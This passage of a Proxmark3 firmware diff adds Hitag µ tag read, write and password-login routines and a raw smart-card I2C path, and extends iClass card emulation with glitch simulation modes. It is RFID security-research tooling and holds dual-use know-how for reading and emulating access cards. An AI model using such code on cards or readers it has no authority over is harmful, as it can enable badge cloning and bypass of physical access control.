AT91C_TC_CLKDIS; + + DBG Dbprintf("tx %d bits:", txlen); + DBG Dbhexdump((txlen + 7) / 8, tx, false); + + // Wait until we can send the command + while (AT91C_BASE_TC0->TC_CV < T0 * t_wait) { + }; + + // Set up tracing + uint32_t start_time = TIMESTAMP; + + // Send the command - Hitag µ always requires SOF + hitag_reader_send_frame(tx, txlen, ledcontrol, true); + + // if (enable_page_tearoff && tearoff_hook() == PM3_ETEAROFF) { + // return PM3_ETEAROFF; + // } + + LogTraceBits(tx, txlen, start_time, TIMESTAMP, true); + + // Enable and reset external trigger in timer for capturing future frames + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + + // Capture response - SOF is automatically stripped by hitag_reader_receive_frame + hitag_reader_receive_frame(rx, sizeofrx, rxlen, &start_time, ledcontrol, modulation, sof_bits); + + LogTraceBits(rx, *rxlen, start_time, TIMESTAMP, false); + DBG Dbprintf("rx %d bits:", *rxlen); + DBG Dbhexdump((*rxlen + 7) / 8, rx, false); + + // TODO: check Error flag + + return PM3_SUCCESS; +} + +/* + * Selects a tag using the READ UID, GET SYSTEM INFORMATION, and LOGIN commands + */ +static int htu_select_tag(const lf_hitag_data_t *payload, uint8_t *tx, size_t sizeoftx, uint8_t *rx, size_t sizeofrx, + int t_wait, bool ledcontrol) { + // Initialize response + size_t txlen = 0; + size_t rxlen = 0; + + // Setup FPGA and initialize + hitag_setup_fpga(FPGA_LF_EDGE_DETECT_READER_FIELD, 127, ledcontrol); + + // Prepare common flags and command variables + uint8_t flags = HITAGU_FLAG_CRCT; // Set appropriate flags for all commands + uint8_t command; + // uint8_t parameter; + + // 1. Send READ UID command + command = HITAGU_CMD_READ_UID; + txlen = concatbits(tx, txlen, &flags, 0, 5, true); + txlen = concatbits(tx, txlen, &command, 0, 6, true); + + // Append CRC-16 (16 bits) + uint16_t crc = Crc16(tx, txlen, 0, CRC16_POLY_CCITT, false, true); + txlen = concatbits(tx, txlen, (uint8_t *)&crc, 0, 16, true); + + // lf cmdread -d 64 -z 96 -o 160 -e W2400 -e S224 -e E336 -s 4096 -c W0S00100010000 + + // Send the READ UID command and receive the response + htu_reader_send_receive(tx, txlen, rx, sizeofrx, &rxlen, t_wait, ledcontrol, MC4K, HTU_SOF_BITS); + + // Check if the response is valid + if (rxlen < 1 + 48 + 16 || Crc16(rx, rxlen, 0, CRC16_POLY_CCITT, false, false) != 0) { + DBG Dbprintf("Read UID command failed! %i", rxlen); + return -2; // Read UID failed + } + + // Process the UID from the response + concatbits(tag.uid, 0, rx, 1, 48, false); + + // 2. Send GET SYSTEM INFORMATION command + command = HITAGU_CMD_SYSINFO; + txlen = 0; // Reset txlen for the new command + txlen = concatbits(tx, txlen, &flags, 0, 5, true); + txlen = concatbits(tx, txlen, &command, 0, 6, true); + + // Append CRC-16 (16 bits) + crc = Crc16(tx, txlen, 0, CRC16_POLY_CCITT, false, true); + txlen = concatbits(tx, txlen, (uint8_t *)&crc, 0, 16, true); + + // Send the GET SYSTEM INFORMATION command and receive the response + htu_reader_send_receive(tx, txlen, rx, sizeofrx, &rxlen, HITAG_T_WAIT_SC, ledcontrol, MC4K, HTU_SOF_BITS); + + concatbits(&tag.icr, 0, rx, 9, 8, false); + + // Check if the response is valid + if (rxlen < 1 + 16 + 16 || Crc16(rx, rxlen, 0, CRC16_POLY_CCITT, false, false) != 0) { + // 8265 bug? sometile lost Data field first bit + DBG Dbprintf("Get System Information command failed! %i", rxlen); + return -3; // Get System Information failed + } + + // 3. Read config block + command = HITAGU_CMD_READ_MULTIPLE_BLOCK; + txlen = 0; // Reset txlen for the new command + txlen = concatbits(tx, txlen, &flags, 0, 5, true); + txlen = concatbits(tx, txlen, &command, 0, 6, true); + + // Add block address + txlen = concatbits(tx, txlen, (uint8_t *)&"\xFF", 0, 8, true); + + // Add number of blocks, 0 means 1 block + txlen = concatbits(tx, txlen, (uint8_t *)&"\x00", 0, 8, true); + + // Append CRC-16 (16 bits) + crc = Crc16(tx, txlen, 0, CRC16_POLY_CCITT, false, true); + txlen = concatbits(tx, txlen, (uint8_t *)&crc, 0, 16, true); + + // Send read command and receive response + htu_reader_send_receive(tx, txlen, rx, sizeofrx, &rxlen, HITAG_T_WAIT_SC, ledcontrol, MC4K, HTU_SOF_BITS); + + // Check if the response is valid + if (rxlen < 1 + 32 + 16 || Crc16(rx, rxlen, 0, CRC16_POLY_CCITT, false, false) != 0) { + DBG Dbprintf("Read config block command failed! %i", rxlen); + return -3; // Read config block failed + } + + // Process the config block from the response + concatbits(tag.config.asBytes, 0, rx, 1, 32, false); + reverse_arraybytes(tag.config.asBytes, HITAGU_BLOCK_SIZE); + + // 4. Send LOGIN command if necessary + if (payload && (payload->cmd == HTUF_82xx || payload->cmd == HTUF_PASSWORD)) { + command = HITAGU_CMD_LOGIN; // Set command for login + txlen = 0; // Reset txlen for the new command + txlen = concatbits(tx, txlen, &flags, 0, 5, true); + txlen = concatbits(tx, txlen, &command, 0, 6, true); + + txlen = concatbits(tx, txlen, payload->pwd, 0, HITAG_PASSWORD_SIZE * 8, false); + + // Append CRC-16 (16 bits) + crc = Crc16(tx, txlen, 0, CRC16_POLY_CCITT, false, true); + txlen = concatbits(tx, txlen, (uint8_t *)&crc, 0, 16, true); + + // Send the LOGIN command and receive the response + htu_reader_send_receive(tx, txlen, rx, sizeofrx, &rxlen, HITAG_T_WAIT_SC, ledcontrol, MC4K, HTU_SOF_BITS); + + // Check if login succeeded + if (rxlen < 1 + 16 || Crc16(rx, rxlen, 0, CRC16_POLY_CCITT, false, false) != 0) { + DBG Dbprintf("Login command failed! %i", rxlen); + return -4; // Login failed + } else { + DBG DbpString("Login successful"); + } + + // flags |= HITAGU_FLAG_ADR; + // command = HITAGU_CMD_LOGIN; // Set command for login + // txlen = 0; // Reset txlen for the new command + // txlen = concatbits(tx, txlen, &flags, 0, 5, true); + // txlen = concatbits(tx, txlen, &command, 0, 6, true); + + // txlen = concatbits(tx, txlen, payload->uid, 0, HITAGU_UID_SIZE * 8, false); + // txlen = concatbits(tx, txlen, payload->pwd, 0, HITAG_PASSWORD_SIZE * 8, false); + + // // Append CRC-16 (16 bits) + // crc = Crc16(tx, txlen, 0, CRC16_POLY_CCITT, false, true); + // txlen = concatbits(tx, txlen, (uint8_t *)&crc, 0, 16, true); + + // // Send the LOGIN command and receive the response + // htu_reader_send_receive(tx, txlen, rx, sizeofrx, &rxlen, HITAG_T_WAIT_SC, ledcontrol, MC4K, HTU_SOF_BITS); + + // // Check if login succeeded + // if (rxlen < 1 + 16 || Crc16(rx, rxlen, 0, CRC16_POLY_CCITT, false, false) != 0) { + // DBG Dbprintf("Login command failed! %i", rxlen); + // return -3; // Login failed + // } else { + // DbpString("Login successful"); + // } + } + + // If all commands are successful, update the tag's state + update_tag_max_page(); // Update max_page based on the new configuration + + return 0; // Selection successful +} + +/* + * Reads the UID of a Hitag µ tag using the INVENTORY command + */ +int htu_read_uid(uint64_t *uid, bool ledcontrol, bool send_answer) { + // Initialize response + uint8_t rx[HITAG_FRAME_LEN] = {0x00}; + uint8_t tx[HITAG_FRAME_LEN] = {0x00}; + int status = PM3_SUCCESS; + + // Use htu_select_tag to select the card and retrieve UID + int reason = htu_select_tag(NULL, tx, ARRAYLEN(tx), rx, ARRAYLEN(rx), HITAG_T_WAIT_FIRST, ledcontrol); + if (reason != 0) { + DBG DbpString("Error: htu_read_uid Failed to select tag"); + status = PM3_ERFTRANS; + goto exit; + } + + DBG Dbprintf("HitagU UID: %02X%02X%02X%02X%02X%02X", tag.uid[0], tag.uid[1], tag.uid[2], tag.uid[3], tag.uid[4], tag.uid[5]); + + if (uid) { + *uid = MemBeToUint6byte(tag.uid); + } + +exit: + hitag_cleanup(ledcontrol); + + if (send_answer) { + // Send UID + reply_reason(CMD_LF_HITAGU_UID, status, reason, tag.uid, sizeof(tag.uid)); + } + + // Reset authentication state + RESET_AUTHENTICATION(); + + return status; +} + +/* + * Reads a Hitag µ tag + */ +void htu_read(const lf_hitag_data_t *payload, bool ledcontrol) { + size_t rxlen = 0; + uint8_t rx[HITAG_FRAME_LEN] = {0x00}; + size_t txlen = 0; + uint8_t tx[HITAG_FRAME_LEN] = {0x00}; + int status = PM3_SUCCESS; + + // DBG { + // DbpString("htu_read"); + // Dbprintf("payload->page: %d", payload->page); + // Dbprintf("payload->page_count: %d", payload->page_count); + // Dbprintf("payload->cmd: %d", payload->cmd); + // Dbprintf("payload->uid: %02X%02X%02X%02X%02X%02X", payload->uid[0], payload->uid[1], payload->uid[2], + // payload->uid[3], payload->uid[4], payload->uid[5]); + // Dbprintf("payload->key: %02X%02X%02X%02X%02X%02X", payload->key[0], payload->key[1], payload->key[2], + // payload->key[3], payload->key[4], payload->key[5]); + // Dbprintf("payload->pwd: %02X%02X%02X%02X", payload->pwd[0], payload->pwd[1], payload->pwd[2], payload->pwd[3]); + // } + + // Use htu_select_tag to select the card and retrieve UID + int reason = htu_select_tag(payload, tx, ARRAYLEN(tx), rx, ARRAYLEN(rx), HITAG_T_WAIT_FIRST, ledcontrol); + if (reason != 0) { + DbpString("Error: htu_read Failed to select tag"); + status = PM3_ERFTRANS; + goto exit; + } + + lf_htu_read_response_t card = { + .icr = tag.icr, + }; + memcpy(card.uid, tag.uid, HITAGU_UID_SIZE); + memcpy(card.config_page.asBytes, tag.config.asBytes, HITAGU_BLOCK_SIZE); + + uint8_t page_count_index = payload->page_count - 1; + + if (payload->page_count == 0) { + page_count_index = tag.max_page - payload->page - 1; + } + + // Step 2: Process the actual command + // Add flags (5 bits) + uint8_t flags = HITAGU_FLAG_CRCT; + txlen = concatbits(tx, txlen, &flags, 0, 5, true); + + // Read command format: [UID] [CRC-16] + + // Add command (6 bits) + uint8_t command = HITAGU_CMD_READ_MULTIPLE_BLOCK; + txlen = concatbits(tx, txlen, &command, 0, 6, true); + + // The 8265 chip has known issues when reading multiple blocks: + // - page_count = 1: Works correctly + // - page_count >= 2: Data field is left shifted by 1 bit + // - page_count = 2 or page+page_count exceeds valid page: Data field has an extra '1' bit + // - page_count = 3,4: Data field last bit is always '1' + // - page_count = 5: CRC is not appended + // - page_count >= 6: May cause next command to have no response + // Workaround: Read one block at a time + if (payload->mode == 0 /**for debug */ + && (payload->cmd == HTUF_82xx || tag.icr == HITAGU_ICR_8265 || !memcmp(tag.uid, "\x00\x00\x00\x00\x00\x00", 6))) { + + uint8_t page_addr; + for (int i = 0; i <= page_count_index; i++) { + page_addr = payload->page + i; + + txlen = 5 + 6; // restore txlen for the new command + txlen = concatbits(tx, txlen, &page_addr, 0, 8, true); + + // Add number of blocks, 0 means 1 block + txlen = concatbits(tx, txlen, (uint8_t *)&"\x00", 0, 8, true); + + // Append CRC-16 (16 bits) + uint16_t crc = Crc16(tx, txlen, 0, CRC16_POLY_CCITT, false, true); + txlen = concatbits(tx, txlen, (uint8_t *)&crc, 0, 16, true); + + // Send read command and receive response + htu_reader_send_receive(tx, txlen, rx, ARRAYLEN(rx), &rxlen, HITAG_T_WAIT_SC, ledcontrol, MC4K, HTU_SOF_BITS); + + if (flags & HITAGU_FLAG_CRCT && Crc16(rx, rxlen, 0, CRC16_POLY_CCITT, false, false) != 0) { + DBG Dbprintf("Error: response CRC invalid"); + card.pages_reason[i] = -6; + continue; + } + + // Check response + if (rxlen < 1 + HITAGU_BLOCK_SIZE * 8 + (flags & HITAGU_FLAG_CRCT ? 16 : 0)) { + DbpString("Error: invalid response received after read command"); + card.pages_reason[i] = -7; + } else { + DBG Dbprintf("Read successful, response: %d bits", rxlen); + // todo: For certain pages, update our cached data + card.pages_reason[i] = 1; + concatbits(card.pages[i], 0, rx, 1, HITAGU_BLOCK_SIZE * 8, false); + } + } + } else { + txlen = concatbits(tx, txlen, &payload->page, 0, 8, true); + + // Add number of blocks, 0 means 1 block + txlen = concatbits(tx, txlen, &page_count_index, 0, 8, true); + + // Append CRC-16 (16 bits) + uint16_t crc = Crc16(tx, txlen, 0, CRC16_POLY_CCITT, false, true); + txlen = concatbits(tx, txlen, (uint8_t *)&crc, 0, 16, true); + + // Send read command and receive response + htu_reader_send_receive(tx, txlen, rx, ARRAYLEN(rx), &rxlen, HITAG_T_WAIT_SC, ledcontrol, MC4K, HTU_SOF_BITS); + + if (flags & HITAGU_FLAG_CRCT && Crc16(rx, rxlen, 0, CRC16_POLY_CCITT, false, false) != 0) { + DBG Dbprintf("Error: response CRC invalid"); + status = PM3_ERFTRANS; + goto exit; + } + + // Check response + if (rxlen < 1 + HITAGU_BLOCK_SIZE * 8 + (flags & HITAGU_FLAG_CRCT ? 16 : 0)) { + DbpString("Error: invalid response received after read command"); + status = PM3_ERFTRANS; + } else { + DBG Dbprintf("Read successful, response: %d bits", rxlen); + // todo: For certain pages, update our cached data + concatbits((uint8_t *)card.pages, 0, rx, 1, rxlen - 1 - 16, false); + for (int i = 0; i < (rxlen - 1 - 16) / (HITAGU_BLOCK_SIZE * 8); i++) { + card.pages_reason[i] = 1; + } + } + } + +exit: + hitag_cleanup(ledcontrol); + // Send status to client + reply_reason(CMD_LF_HITAGU_READ, status, reason, (uint8_t *)&card, sizeof(card)); +} + +/* + * Writes a page to a Hitag µ tag + */ +void htu_write_page(const lf_hitag_data_t *payload, bool ledcontrol) { + size_t rxlen = 0; + uint8_t rx[HITAG_FRAME_LEN] = {0x00}; + size_t txlen = 0; + uint8_t tx[HITAG_FRAME_LEN] = {0x00}; + int status = PM3_SUCCESS; + + // DBG { + // DbpString("htu_write_page"); + // Dbprintf("payload->page: %d", payload->page); + // Dbprintf("payload->data: %02X%02X%02X%02X", payload->data[0], payload->data[1], payload->data[2], payload->data[3]); + // Dbprintf("payload->cmd: %d", payload->cmd); + // Dbprintf("payload->uid: %02X%02X%02X%02X%02X%02X", payload->uid[0], payload->uid[1], payload->uid[2], payload->uid[3], payload->uid[4], payload->uid[5]); + // Dbprintf("payload->key: %02X%02X%02X%02X%02X%02X", payload->key[0], payload->key[1], payload->key[2], payload->key[3], payload->key[4], payload->key[5]); + // Dbprintf("payload->pwd: %02X%02X%02X%02X", payload->pwd[0], payload->pwd[1], payload->pwd[2], payload->pwd[3]); + // Dbprintf("payload->mode: %d", payload->mode); + // } + + int reason = htu_select_tag(payload, tx, ARRAYLEN(tx), rx, ARRAYLEN(rx), HITAG_T_WAIT_FIRST, ledcontrol); + if (reason != 0) { + status = PM3_ERFTRANS; + goto exit; + } + + // Step 2: Send write command + uint8_t flags = HITAGU_FLAG_CRCT; + + // Add flags (5 bits) for write operation + txlen = concatbits(tx, txlen, &flags, 0, 5, true); + + // Add write command (6 bits) + uint8_t command = HITAGU_CMD_WRITE_SINGLE_BLOCK; + txlen = concatbits(tx, txlen, &command, 0, 6, true); + + // Add page address (8 bits) + txlen = concatbits(tx, txlen, &payload->page, 0, 8, true); + + // Add data to write (32 bits) + txlen = concatbits(tx, txlen, payload->data, 0, 32, false); + + // Append CRC-16 (16 bits) + uint16_t crc = Crc16(tx, txlen, 0, CRC16_POLY_CCITT, false, true); + txlen = concatbits(tx, txlen, (uint8_t *)&crc, 0, 16, true); + + DBG Dbprintf("Writing to page 0x%02X", payload->page); + + // Send write command and receive response + htu_reader_send_receive(tx, txlen, rx, ARRAYLEN(rx), &rxlen, HITAG_T_WAIT_SC, ledcontrol, MC4K, HTU_SOF_BITS); + + // Check response + if (payload->cmd == HTUF_82xx && rxlen == 0) { + // 8265 bug? no response on successful write command + reason = 0; + status = PM3_ENODATA; + } else if (rxlen != 1 + 16) { + DbpString("Error: htu_write_page No valid response received after write command"); + reason = -5; + status = PM3_ERFTRANS; + } else { + DBG Dbprintf("Write successful, response: %d bits", rxlen); + } + +exit: + hitag_cleanup(ledcontrol); + reply_reason(CMD_LF_HITAGU_WRITE, status, reason, NULL, 0); +} diff --git a/armsrc/hitagu.h b/armsrc/hitagu.h new file mode 100644 index 000000000..a1144e1e7 --- /dev/null +++ b/armsrc/hitagu.h @@ -0,0 +1,30 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// Hitag µ functions +//----------------------------------------------------------------------------- + +#ifndef _HITAGU_H_ +#define _HITAGU_H_ + +#include "common.h" +#include "hitag.h" + +void htu_simulate(bool tag_mem_supplied, int8_t threshold, const uint8_t *data, bool ledcontrol); +void htu_read(const lf_hitag_data_t *payload, bool ledcontrol); +void htu_write_page(const lf_hitag_data_t *payload, bool ledcontrol); +int htu_read_uid(uint64_t *uid, bool ledcontrol, bool send_answer); + +#endif diff --git a/armsrc/i2c.c b/armsrc/i2c.c index 2a4b3a648..b1af6e30a 100644 --- a/armsrc/i2c.c +++ b/armsrc/i2c.c @@ -783,7 +783,6 @@ bool GetATR(smart_card_atr_t *card_ptr, bool verbose) { return false; } - card_ptr->atr_len = 0; memset(card_ptr->atr, 0, sizeof(card_ptr->atr)); @@ -858,7 +857,7 @@ void SmartCardRaw(const smart_card_raw_t *p) { LED_D_ON(); uint16_t len = 0; - uint8_t *resp = BigBuf_malloc(ISO7816_MAX_FRAME); + uint8_t *resp = BigBuf_calloc(ISO7816_MAX_FRAME); // check if alloacted... smartcard_command_t flags = p->flags; @@ -938,7 +937,7 @@ void SmartCardUpgrade(uint64_t arg0) { bool isOK = true; uint16_t length = arg0, pos = 0; const uint8_t *fwdata = BigBuf_get_addr(); - uint8_t *verfiydata = BigBuf_malloc(I2C_BLOCK_SIZE); + uint8_t *verfiydata = BigBuf_calloc(I2C_BLOCK_SIZE); while (length) { diff --git a/armsrc/i2c.h b/armsrc/i2c.h index 3b45c6d7d..b45832acd 100644 --- a/armsrc/i2c.h +++ b/armsrc/i2c.h @@ -36,7 +36,7 @@ // 8051 speaks with smart card. // 1000*50*3.07 = 153.5ms // 1 byte transfer == 1ms with max frame being 256 bytes -#define SIM_WAIT_DELAY 88000 // about 270ms delay // 109773 -- about 337.7ms delay +#define SIM_WAIT_DELAY 150000 // about 270ms delay // 109773 -- about 337.7ms delay void I2C_recovery(void); diff --git a/armsrc/i2c_direct.c b/armsrc/i2c_direct.c new file mode 100644 index 000000000..49aaa4c2c --- /dev/null +++ b/armsrc/i2c_direct.c @@ -0,0 +1,205 @@ +// //----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// The main i2c code, for communications with smart card module +//----------------------------------------------------------------------------- + +#include + +#include "BigBuf.h" +#include "iso14443a.h" +#include "BigBuf.h" +#include "string.h" +#include "mifareutil.h" +#include "fpgaloader.h" +#include "proxmark3_arm.h" +#include "cmd.h" +#include "protocols.h" +#include "appmain.h" +#include "util.h" +#include "commonutil.h" +#include "crc16.h" +#include "dbprint.h" +#include "ticks.h" +#include "i2c.h" +#include "i2c_direct.h" + +static void SmartCardDirectSend(uint8_t prepend, const smart_card_raw_t *p, uint8_t *output, uint16_t *olen) { + LED_D_ON(); + + uint16_t len = 0; + uint8_t *resp = BigBuf_calloc(ISO7816_MAX_FRAME); + resp[0] = prepend; + // check if alloacted... + smartcard_command_t flags = p->flags; + + if ((flags & SC_LOG) == SC_LOG) + set_tracing(true); + else + set_tracing(false); + + if ((flags & SC_CONNECT) == SC_CONNECT) { + + I2C_Reset_EnterMainProgram(); + + if ((flags & SC_SELECT) == SC_SELECT) { + smart_card_atr_t card; + bool gotATR = GetATR(&card, true); + + if (gotATR == false) { + Dbprintf("No ATR received...\n"); + goto OUT; + } + } + } + + uint32_t wait = SIM_WAIT_DELAY; + + if (((flags & SC_RAW) == SC_RAW) || ((flags & SC_RAW_T0) == SC_RAW_T0)) { + + if ((flags & SC_WAIT) == SC_WAIT) { + wait = (uint32_t)((p->wait_delay * 1000) / 3.07); + } + + LogTrace(p->data, p->len, 0, 0, NULL, true); + + bool res = I2C_BufferWrite( + p->data, + p->len, + (((flags & SC_RAW_T0) == SC_RAW_T0) ? I2C_DEVICE_CMD_SEND_T0 : I2C_DEVICE_CMD_SEND), + I2C_DEVICE_ADDRESS_MAIN + ); + + if (res == false && g_dbglevel > 3) { + Dbprintf("SmartCardDirectSend: I2C_BufferWrite failed\n"); + goto OUT; + } + + // read bytes from module + len = ISO7816_MAX_FRAME; + res = sc_rx_bytes(&resp[1], &len, wait); + if (res) { + LogTrace(&resp[1], len, 0, 0, NULL, false); + } else { + len = 0; + } + } + + if (len == 2 && resp[1] == 0x61) { + uint8_t cmd_getresp[] = {0x00, ISO7816_GET_RESPONSE, 0x00, 0x00, resp[2]}; + + smart_card_raw_t *payload = (smart_card_raw_t *)BigBuf_calloc(sizeof(smart_card_raw_t) + sizeof(cmd_getresp)); + payload->flags = SC_RAW | SC_LOG; + payload->len = sizeof(cmd_getresp); + payload->wait_delay = 0; + memcpy(payload->data, cmd_getresp, sizeof(cmd_getresp)); + + SmartCardDirectSend(prepend, payload, output, olen); + } else if (len == 2) { + Dbprintf("***** BAD response from card (response unsupported)..."); + Dbhexdump(3, &resp[0], false); + resp[0] = prepend; + resp[1] = 0x6a; + resp[2] = 0x82; + AddCrc14A(resp, 3); + + memcpy(output, resp, 5); + *olen = 5; + } + + if (resp[1] == 0x6a && resp[2] == 0x82) { + Dbprintf("***** bad response from card (file not found)..."); + resp[0] = prepend; + resp[1] = 0x6a; + resp[2] = 0x82; + AddCrc14A(resp, 3); + + memcpy(output, resp, 5); + *olen = 5; + FpgaDisableTracing(); + } + + if (len > 2) { + Dbprintf("***** sending it over the wire... len: %d =>\n", len); + resp[1] = prepend; + + AddCrc14A(&resp[1], len); + Dbhexdump(len + 2, &resp[1], false); + + BigBuf_free(); + + if (prepend == 0xff) { + Dbprintf("pdol request, we can ignore the response..."); + return; + } + + memcpy(output, &resp[1], len + 2); + *olen = len + 2; + + BigBuf_free(); + } + +OUT: + LEDsoff(); +} + +int CmdSmartRaw(const uint8_t prepend, const uint8_t *data, int dlen, uint8_t *output, uint16_t *olen) { + + Dbprintf("sending command to smart card... %02x %02x %02x... =>", prepend, data[0], data[1]); + Dbhexdump(dlen, data, false); + + if (data[4] + 5 != dlen) { + Dbprintf("invalid length of data. Received: %d, command specifies %d", dlen, data[4] + 5); + dlen = data[4] + 5; + } + + smart_card_raw_t *payload = (smart_card_raw_t *)BigBuf_calloc(sizeof(smart_card_raw_t) + dlen); + if (payload == NULL) { + Dbprintf("Failed to allocate memory"); + return PM3_EMALLOC; + } + + payload->len = dlen; + memcpy(payload->data, data, dlen); + + payload->flags = SC_LOG; + bool active = true; + bool active_select = false; + int timeout = 600; + bool use_t0 = true; + + if (active || active_select) { + payload->flags |= (SC_CONNECT | SC_CLEARLOG); + if (active_select) + payload->flags |= SC_SELECT; + } + + payload->wait_delay = 0; + if (timeout > -1) { + payload->flags |= SC_WAIT; + payload->wait_delay = timeout; + } + + if (dlen > 0) { + if (use_t0) + payload->flags |= SC_RAW_T0; + else + payload->flags |= SC_RAW; + } + + SmartCardDirectSend(prepend, payload, output, olen); + + return PM3_SUCCESS; +} diff --git a/armsrc/Standalone/lf_hidfcbrute.h b/armsrc/i2c_direct.h similarity index 74% rename from armsrc/Standalone/lf_hidfcbrute.h rename to armsrc/i2c_direct.h index 441cf9188..b269f792a 100644 --- a/armsrc/Standalone/lf_hidfcbrute.h +++ b/armsrc/i2c_direct.h @@ -1,5 +1,4 @@ //----------------------------------------------------------------------------- -// Copyright (C) Stephen Shkardoon proxmark@ss23.geek.nz - ss23 // Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. // // This program is free software: you can redistribute it and/or modify @@ -14,11 +13,10 @@ // // See LICENSE.txt for the text of the license. //----------------------------------------------------------------------------- -#ifndef __LF_HIDFCBRUTE_H -#define __LF_HIDFCBRUTE_H -#include +#ifndef __I2C_DIRECT_H +#define __I2C_DIRECT_H -void hid_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc); +int CmdSmartRaw(const uint8_t prepend, const uint8_t *data, int dlen, uint8_t *output, uint16_t *olen); -#endif /* __LF_HIDFCBRUTE_H */ +#endif diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 3d83e54bc..4a1563aea 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -38,6 +38,7 @@ #include "iso15693.h" #include "iclass_cmd.h" // iclass_card_select_t struct #include "i2c.h" // i2c defines (SIM module access) +#include "printf.h" uint8_t get_pagemap(const picopass_hdr_t *hdr) { return (hdr->conf.fuses & (FUSE_CRYPT0 | FUSE_CRYPT1)) >> 3; @@ -195,7 +196,7 @@ void iclass_simulate(uint8_t sim_type, uint8_t num_csns, bool send_reply, uint8_ if (send_reply) reply_old(CMD_ACK, CMD_HF_ICLASS_SIMULATE, i, 0, mac_responses, i * EPURSE_MAC_SIZE); - } else if (sim_type == ICLASS_SIM_MODE_FULL) { + } else if (sim_type == ICLASS_SIM_MODE_FULL || sim_type == ICLASS_SIM_MODE_FULL_GLITCH || sim_type == ICLASS_SIM_MODE_FULL_GLITCH_KEY) { //This is 'full sim' mode, where we use the emulator storage for data. //ie: BigBuf_get_EM_addr should be previously filled with data from the "eload" command @@ -204,14 +205,12 @@ void iclass_simulate(uint8_t sim_type, uint8_t num_csns, bool send_reply, uint8_ if (pagemap == PICOPASS_NON_SECURE_PAGEMODE) { do_iclass_simulation_nonsec(); } else { - do_iclass_simulation(ICLASS_SIM_MODE_FULL, NULL); + do_iclass_simulation(sim_type, NULL); } - } else if (sim_type == ICLASS_SIM_MODE_CONFIG_CARD) { - - // config card - do_iclass_simulation(ICLASS_SIM_MODE_FULL, NULL); - // swap bin + if (send_reply) { + reply_mix(CMD_ACK, CMD_HF_ICLASS_SIMULATE, 0, 0, NULL, 0); + } } else if (sim_type == ICLASS_SIM_MODE_READER_ATTACK_KEYROLL) { @@ -329,7 +328,7 @@ int do_iclass_simulation(int simulationMode, uint8_t *reader_mac_buf) { // AIA uint8_t aia_data[10] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00}; - if (simulationMode == ICLASS_SIM_MODE_FULL) { + if (simulationMode == ICLASS_SIM_MODE_FULL || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH_KEY) { memcpy(conf_block, emulator + (8 * 1), 8); // blk 1 memcpy(card_challenge_data, emulator + (8 * 2), 8); // e-purse, blk 2 @@ -368,7 +367,7 @@ int do_iclass_simulation(int simulationMode, uint8_t *reader_mac_buf) { cipher_state_KD[0] = opt_doTagMAC_1(card_challenge_data, diversified_kd); cipher_state_KC[0] = opt_doTagMAC_1(card_challenge_data, diversified_kc); - if (simulationMode == ICLASS_SIM_MODE_FULL) { + if (simulationMode == ICLASS_SIM_MODE_FULL || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH_KEY) { for (int i = 1; i < max_page; i++) { @@ -381,6 +380,8 @@ int do_iclass_simulation(int simulationMode, uint8_t *reader_mac_buf) { } } + bool glitch_key_read = false; + // Anti-collision process: // Reader 0a // Tag 0f @@ -395,40 +396,40 @@ int do_iclass_simulation(int simulationMode, uint8_t *reader_mac_buf) { int trace_data_size; // Respond SOF -- takes 1 bytes - uint8_t *resp_sof = BigBuf_malloc(1); + uint8_t resp_sof[2] = {0}; int resp_sof_len; // Anticollision CSN (rotated CSN) // 22: Takes 2 bytes for SOF/EOF and 10 * 2 = 20 bytes (2 bytes/byte) - uint8_t *resp_anticoll = BigBuf_malloc(22); + uint8_t *resp_anticoll = BigBuf_calloc(22); int resp_anticoll_len; // CSN (block 0) // 22: Takes 2 bytes for SOF/EOF and 10 * 2 = 20 bytes (2 bytes/byte) - uint8_t *resp_csn = BigBuf_malloc(22); + uint8_t *resp_csn = BigBuf_calloc(22); int resp_csn_len; // configuration (blk 1) PICOPASS 2ks - uint8_t *resp_conf = BigBuf_malloc(22); + uint8_t *resp_conf = BigBuf_calloc(22); int resp_conf_len; // e-Purse (blk 2) // 18: Takes 2 bytes for SOF/EOF and 8 * 2 = 16 bytes (2 bytes/bit) - uint8_t *resp_cc = BigBuf_malloc(18); + uint8_t *resp_cc = BigBuf_calloc(18); int resp_cc_len; // Kd, Kc (blocks 3 and 4). Cannot be read. Always respond with 0xff bytes only - uint8_t *resp_ff = BigBuf_malloc(22); + uint8_t *resp_ff = BigBuf_calloc(22); int resp_ff_len; uint8_t ff_data[10] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00}; AddCrc(ff_data, 8); // Application Issuer Area (blk 5) - uint8_t *resp_aia = BigBuf_malloc(22); + uint8_t *resp_aia = BigBuf_calloc(22); int resp_aia_len; // receive command - uint8_t *receivedCmd = BigBuf_malloc(MAX_FRAME_SIZE); + uint8_t *receivedCmd = BigBuf_calloc(MAX_FRAME_SIZE); // Prepare card messages tosend_t *ts = get_tosend(); @@ -470,11 +471,11 @@ int 